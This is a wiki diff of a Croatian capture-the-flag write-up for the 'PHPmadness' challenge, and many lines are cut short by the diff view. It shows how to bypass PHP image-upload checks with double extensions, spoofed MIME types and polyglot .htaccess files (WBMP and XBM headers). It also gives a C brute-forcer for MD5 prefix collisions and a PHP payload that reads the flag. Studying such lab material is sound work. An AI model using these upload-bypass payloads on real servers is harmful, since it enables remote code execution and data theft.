phpmadness
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| phpmadness [2025/10/31 13:28] – mbunic | phpmadness [2025/12/01 11:40] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | ====== Zadatak s Hacknite platforme - PHPmadness | + | ==== Zadatak s Hacknite platforme - PHPmadness ==== |
| - | <source> | + | <file> |
| Ovaj zadatak ima slojeve | Ovaj zadatak ima slojeve | ||
| http:// | http:// | ||
| - | </source> | + | </file> |
| - | Uz zadatak | + | Dan je i izvorni kod zadatka. \\ |
| {{ phpmadness: | {{ phpmadness: | ||
| - | Pregledom **Dockerfilea** zadatka može se vidjeti da se radi o PHP zadatku te da se flag kopira u putanju | + | Pregledom **Dockerfilea** zadatka, može se vidjeti da se radi o PHP zadatku, te da se flag kopira u direktorij |
| < | < | ||
| Line 17: | Line 17: | ||
| </ | </ | ||
| - | Odlaskom na stranicu zadatka, potrebno je registrirati novi korisnički račun. Nakon logina, prikazuje se stranica na kojoj se može pohraniti jedna slika. \\ | + | Odlaskom na stranicu zadatka, potrebno je registrirati novi korisnički račun, |
| {{ phpmadness: | {{ phpmadness: | ||
| Line 25: | Line 25: | ||
| {{ phpmadness: | {{ phpmadness: | ||
| - | Pregledom koda u datoteci **user.php** može se pronaći kod koji validira da je učitana datoteka zapravo | + | Pregledom koda u datoteci **user.php** može se pronaći kod koji validira da je učitana datoteka zapravo slika. \\ |
| {{ phpmadness: | {{ phpmadness: | ||
| - | Kod se sastoji od tri provjere. | + | Kod se sastoji od tri provjere, prva provjera je samo provjera |
| - | + | ||
| - | === 1) Provjera | + | |
| < | < | ||
| Line 37: | Line 35: | ||
| </ | </ | ||
| - | Provjera uzima ekstenziju nakon zadnje točke (npr. **.jpg**) i provjerava da ne počinje znakovima **ph**. | + | Ovu provjeru lako je zaobići, |
| - | Ovu provjeru lako je zaobići | + | |
| - | U tom slučaju | + | |
| - | === 2) Provjera | + | < |
| + | file.php.jpg | ||
| + | </ | ||
| + | |||
| + | U kojem bi slučaju ova provjera uzela samo **.jpg**, nakon čega sprema datoteku bez provjerene ekstenzije, što bi značilo da bi samo druga ekstenzija, **.php**, ostala. | ||
| + | |||
| + | Druga provjera, provjerava da MIME tip poslan | ||
| < | < | ||
| Line 47: | Line 49: | ||
| </ | </ | ||
| - | Ova provjera koristi podatak koji klijent šalje | + | Ovu provjeru je lagano zaobići namještanjem ove vrijednosti na korisničkoj strani |
| - | === 3) Provjera "file signature" | + | Treća |
| < | < | ||
| $info = @getimagesize($_FILES[" | $info = @getimagesize($_FILES[" | ||
| $mime = $info[' | $mime = $info[' | ||
| + | |||
| ... | ... | ||
| + | |||
| strpos($mime, | strpos($mime, | ||
| </ | </ | ||
| - | Ova provjera | + | Provjerava datoteku na serverskoj strani, |
| - | Zaobići se može tako da se na početak PHP datoteke dodaju "magic byteovi" | + | |
| - | --- | + | I ovu provjeru moguće je jednostavno zaobići, tako da se napravi PHP datoteka s kodom koji se želi izvršiti na serveru, na početku koje se dodaju "magic byteovi" |
| - | No, čak i ako se uspješno upload-a PHP datoteka koja prolazi | + | No postoji problem, čak i da se uploada |
| {{ phpmadness: | {{ phpmadness: | ||
| - | Međutim, učitana | + | No uploadana |
| - | To znači da, ako se može uploadati **.htaccess** datoteka koja bi zaobišla validaciju, ona bi mogla **nadjačati** (override) roditeljsku **.htaccess** konfiguraciju i time dopustiti izvršavanje PHP datoteka unutar korisničkog direktorija. | + | |
| - | Problem: korisnik može imati **samo jednu** datoteku po sesiji | + | < |
| + | / | ||
| + | </ | ||
| + | |||
| + | Što znači da ako je moguće uploadati | ||
| + | |||
| + | No problem je da svaki korisnik smije imati samo jednu učitanu | ||
| {{ phpmadness: | {{ phpmadness: | ||
| - | To znači: | + | To znači |
| - | * ako se upload-a | + | |
| - | * ako se upload-a **.htaccess**, | + | |
| - | --- | + | No postoji način za učitati dvije datoteke u isti direktorij, kako bi se mogla učitati prvo **.htaccess** datoteka koja bi dozvolila izvršavanja PHP koda i onda druga datoteka koja bi sadržavala PHP kod, koji bi se izvršio i koristio za čitanje flaga. |
| - | Postoji ipak način da **dvije datoteke** završe | + | Odgovor leži u logici koja određuje |
| - | Pogledajmo kako se određuje | + | |
| < | < | ||
| Line 87: | Line 92: | ||
| </ | </ | ||
| - | Dakle, direktorij | + | Ova linija koda određuje da će se korisnikov direktorij nazvati kao prvih 6 znakova MD5 sažetka |
| - | Ako nađemo **dva korisnička imena** X i Y s istim prvim 6 znakova MD5 hash-a: | + | |
| + | To znači da ako možemo pronaći | ||
| < | < | ||
| Line 94: | Line 100: | ||
| </ | </ | ||
| - | onda će oba korisnika spremati datoteke | + | gdje su X i Y dva različita usernamea, svaki korisnik može uploadati jednu datoteku |
| - | Jedan može uploadati **.htaccess**, | + | |
| + | Pronalazak para usernameova čijih prvih 6 znakova MD5 hash algoritma se podudaraju je jednostavan problem i čistim bruteforceom se može pronaći vrlo brzo, ispod minute (implementacijom u C-u). | ||
| - | Pronalazak takvog para je trivijalan brute-force problem — može se riješiti u manje od minute. | + | Sljedeće je jedan primjer C koda koji pronalazi ovo rješenje. |
| - | Slijedi | + | |
| - | <source lang=" | + | <file> |
| - | // md5_collision_finder6 | + | // md5_collision_finder6 |
| #include < | #include < | ||
| #include < | #include < | ||
| Line 123: | Line 129: | ||
| printf(" | printf(" | ||
| printf(" | printf(" | ||
| - | for (int i = 0; i < MD5_DIGEST_LENGTH; | + | for (int i = 0; i < MD5_DIGEST_LENGTH; |
| + | | ||
| + | } | ||
| printf(" | printf(" | ||
| - | for (int i = 0; i < 3; i++) printf(" | + | for (int i = 0; i < 3; i++) { |
| - | printf(" | + | |
| + | } | ||
| + | printf(" | ||
| + | // Extract first 3 bytes as target | ||
| unsigned char target[3]; | unsigned char target[3]; | ||
| memcpy(target, | memcpy(target, | ||
| - | const int min_len = 8; | + | const int min_len = 8; // MINIMUM candidate length |
| - | const int max_len = 15; | + | const int max_len = 15; // MAXIMUM candidate length |
| const size_t charset_size = sizeof(charset) - 1; | const size_t charset_size = sizeof(charset) - 1; | ||
| unsigned long long attempts = 0; | unsigned long long attempts = 0; | ||
| - | char candidate[max_len + 1]; | + | |
| + | | ||
| srand(time(NULL)); | srand(time(NULL)); | ||
| - | |||
| while (1) { | while (1) { | ||
| attempts++; | attempts++; | ||
| + | // Generate random candidate length (8-15) | ||
| int len = rand() % (max_len - min_len + 1) + min_len; | int len = rand() % (max_len - min_len + 1) + min_len; | ||
| - | for (int i = 0; i < len; i++) candidate[i] = charset[rand() % charset_size]; | + | |
| + | | ||
| + | | ||
| + | } | ||
| candidate[len] = ' | candidate[len] = ' | ||
| - | if (len == input_len && memcmp(candidate, | + | |
| + | | ||
| + | | ||
| + | } | ||
| + | // Compute MD5 | ||
| unsigned char candidate_digest[MD5_DIGEST_LENGTH]; | unsigned char candidate_digest[MD5_DIGEST_LENGTH]; | ||
| MD5((unsigned char*)candidate, | MD5((unsigned char*)candidate, | ||
| + | // Progress report | ||
| + | if (attempts % report_interval == 0) { | ||
| + | printf(" | ||
| + | } | ||
| + | // Check first 3 bytes (6 hex characters) | ||
| if (memcmp(candidate_digest, | if (memcmp(candidate_digest, | ||
| - | printf(" | + | printf(" |
| - | printf(" | + | printf(" |
| + | printf(" | ||
| + | for (int i = 0; i < MD5_DIGEST_LENGTH; | ||
| + | printf(" | ||
| + | } | ||
| + | printf(" | ||
| + | for (int i = 0; i < 3; i++) { | ||
| + | printf(" | ||
| + | } | ||
| + | printf(" | ||
| break; | break; | ||
| } | } | ||
| Line 153: | Line 186: | ||
| return 0; | return 0; | ||
| } | } | ||
| - | </source> | + | </file> |
| - | Pokretanje: | + | Program se treba kompajlirati i nakon toga se može pokrenuti, prosljeđujući mu username za koji je potrebno naći MD5 hash collision u prvih 6 znakova kao argument. |
| - | <source lang=" | + | Primjer ovakvog para korisničkih imena dobivenog ovim programom je: |
| + | |||
| + | <file> | ||
| $ ./ | $ ./ | ||
| Input string: korisnik1 | Input string: korisnik1 | ||
| Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61 | Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61 | ||
| First 6 chars: affc2d | First 6 chars: affc2d | ||
| + | Searching for collision (min 8 chars)... | ||
| + | Attempts: 10M, Current: ZF7ciZizcHo8 | ||
| + | |||
| Collision found after 19093362 attempts! | Collision found after 19093362 attempts! | ||
| - | Colliding string: BQuxIUGH | + | Colliding string: BQuxIUGH |
| Full MD5: affc2da2a9c70df41678d24f997a95f0 | Full MD5: affc2da2a9c70df41678d24f997a95f0 | ||
| First 6 chars: affc2d | First 6 chars: affc2d | ||
| - | </source> | + | </file> |
| - | Dakle, dva korisnička imena koja dijele direktorij | + | Dva korisnička imena, čije bi učitane datoteke bile u istom direktoriju |
| - | --- | + | < |
| + | korisnik1 i BQuxIUGH | ||
| + | </ | ||
| - | Sada treba napraviti | + | Preostaje problem kako učitati |
| - | Pri parsiranju PHP datoteka, nepoznati | + | |
| - | Postoje dva rješenja: | + | .htaccess datoteka koja bi koristila ovaj pristup bi se mogla zvati **.htaccess.jpg**. |
| - | ==== 1) `.wbmp` pristup ==== | + | Postoje dva rješenja. |
| - | Parser .htaccess datoteke ignorira početne null bajtove. | + | ==== .wbmp ==== |
| - | Ako se dodaju 4 null bajta (`\x00\x00\x00\x00`), | + | |
| - | Takva datoteka može se zvati **.htaccess.jpg** i sadržavati: | + | |
| - | <source lang=" | + | Prvo se zasniva na činjenici da se pri parsiranju .htaccess datoteke, null bajtovi na početku preskaču bez errora, te se file dalje normalno parsira, dok 4 null bajtovi na početku datoteke PHP prepoznaje kao file signature .wbmp datoteke, koja je slika, te se tako može napraviti „pseudo-poliglot” datoteka koja PHP-ovu provjeru uvjerava da je .wbmp slika, dok je i dalje .htaccess file koji se može uspješno parsirati. Datoteka može imati sadržaj: |
| - | <4 null byteova><new line> | + | |
| + | <file> | ||
| + | <4 null bajtova><new line (\n ili 0a u hex)> | ||
| < | < | ||
| Require all granted | Require all granted | ||
| SetHandler application/ | SetHandler application/ | ||
| </ | </ | ||
| - | </source> | + | </file> |
| - | ==== 2) `.xbm` pristup | + | ==== .xbm ==== |
| + | |||
| + | Drugo rješenje se zasniva na činjenici da u .htaccess datoteci komentari se označavaju znakom “#” na početku linije, te se tako može konstruirati datoteka kojoj su prve dvije linije: | ||
| + | |||
| + | < | ||
| + | #define a_width 1 | ||
| + | #define a_height 1 | ||
| + | </ | ||
| - | Komentari | + | što prolazi provjeru je li učitana datoteka slika, interpretirajući |
| - | Ako se doda zaglavlje valjane | + | |
| - | <source lang=" | + | <file> |
| #define a_width 1 | #define a_width 1 | ||
| #define a_height 1 | #define a_height 1 | ||
| Line 203: | Line 248: | ||
| SetHandler application/ | SetHandler application/ | ||
| </ | </ | ||
| - | </source> | + | </file> |
| - | PHP provjera prepoznaje datoteku kao sliku, a Apache parser ignorira prve dvije linije kao komentare. | + | Sada su riješena sva ograničenja zadatka i jasan je način kako se može stvoriti 2 korisnika s odgovarajućim korisničkim imenima kako bi se mogle učitati dvije datoteke, **.htaccess** i datoteka s PHP kodom u isti korisnički direktorij, uz zaobilazak svih provjera i ograničenja zadatka za učitavanje datoteke. |
| - | --- | + | Još jedno ograničenje je preostalo za PHP kod koji se treba učitati i izvršavati za dohvat flaga, to je skup zabranjenih funkcija, definiran u **/php-config/ |
| - | Time je moguće zaobići sve provjere i ograničenja. | + | Zabranjene funkcije |
| - | Dakle, strategija je: | + | |
| - | 1. Dva korisnika s istim prvih 6 znakova MD5 hash-a. | + | |
| - | 2. Jedan upload-a **.htaccess.jpg** (s gornjim sadržajem). | + | |
| - | 3. Drugi upload-a PHP datoteku, npr. **readFlag.php3.jpg**. | + | |
| - | + | ||
| - | --- | + | |
| - | + | ||
| - | Preostaje PHP kod koji pronalazi i ispisuje flag. | + | |
| - | Ograničenja | + | |
| < | < | ||
| Line 224: | Line 260: | ||
| </ | </ | ||
| - | Ipak, moguće je čitati | + | No i dalje i s ovim ograničenjem ima dosta načina za pronaći flag datoteku i pročitati |
| - | Primjer datoteke **readFlag.php3.jpg** | + | Primjer datoteke |
| - | <source lang=" | + | <file> |
| - | <4 null byteova>< | + | <4 null byteova>< |
| <?php | <?php | ||
| $files = scandir("/ | $files = scandir("/ | ||
| Line 242: | Line 278: | ||
| } | } | ||
| ?> | ?> | ||
| - | </source> | + | </file> |
| - | --- | + | Preostali koraci: |
| + | * s jednim korisnikom učitati prethodno opisanu **.htaccess.jpg** datoteku, \\ | ||
| + | {{ phpmadness: | ||
| - | Zatim: | + | * s drugim |
| - | 1. Prvim korisnikom | + | {{ phpmadness:slika8.png? |
| - | | + | |
| - | | + | * otići na lokaciju učitane PHP datoteke i posjetiti je, \\ |
| - | | + | {{ phpmadness:slika9.png? |
| - | 3. Posjeti link do učitane PHP datoteke. \\ | + | kako bi se PHP kod izvršio i ispisao |
| - | {{ phpmadness: | + | |
| - | + | ||
| - | PHP kod će se izvršiti i ispisati | + | |
| {{ phpmadness: | {{ phpmadness: | ||
| - | |||
| - | --- | ||
| - | |||
| - | Napomene o ispravkama formatiranja (što sam izmijenio u odnosu na tvoj originalni tekst): | ||
| - | * Ispravio sam boldanje naziva datoteka i važnih pojmova koristeći **bold** (npr. **Dockerfile**, | ||
| - | * Inline kod i kraći primjeri su stavljeni unutar `< | ||
| - | * Višelinijski kod (C, PHP, bash primjeri) su smješteni u `<source lang=" | ||
| - | * Slike sam ostavio s originalnim imenima ali numerirane konsekventno od 1 do 10 i u DokuWiki formatu koji si koristio (`{{ phpmadness: | ||
| - | * Zadržao sam redoslijed i sadržaj teksta što je moguće vjernije originalu — izmjene su samo formatne/ | ||
| - | |||
| - | Ako želiš, sljedeći korak mogu biti: | ||
| - | * 1) Dati prijedloge dodatnih poboljšanja (stil, jasnije označavanje koraka, sigurnosne napomene), ili | ||
| - | * 2) Primijeniti neke od tih prijedloga odmah u tekst (ako kažeš koje). | ||
| - | |||
| - | Reci želiš li prvo listu prijedloga poboljšanja ili da odmah primijenim neke izmjene. | ||
phpmadness.1761917311.txt.gz · Last modified: 2025/12/01 11:40 (external edit)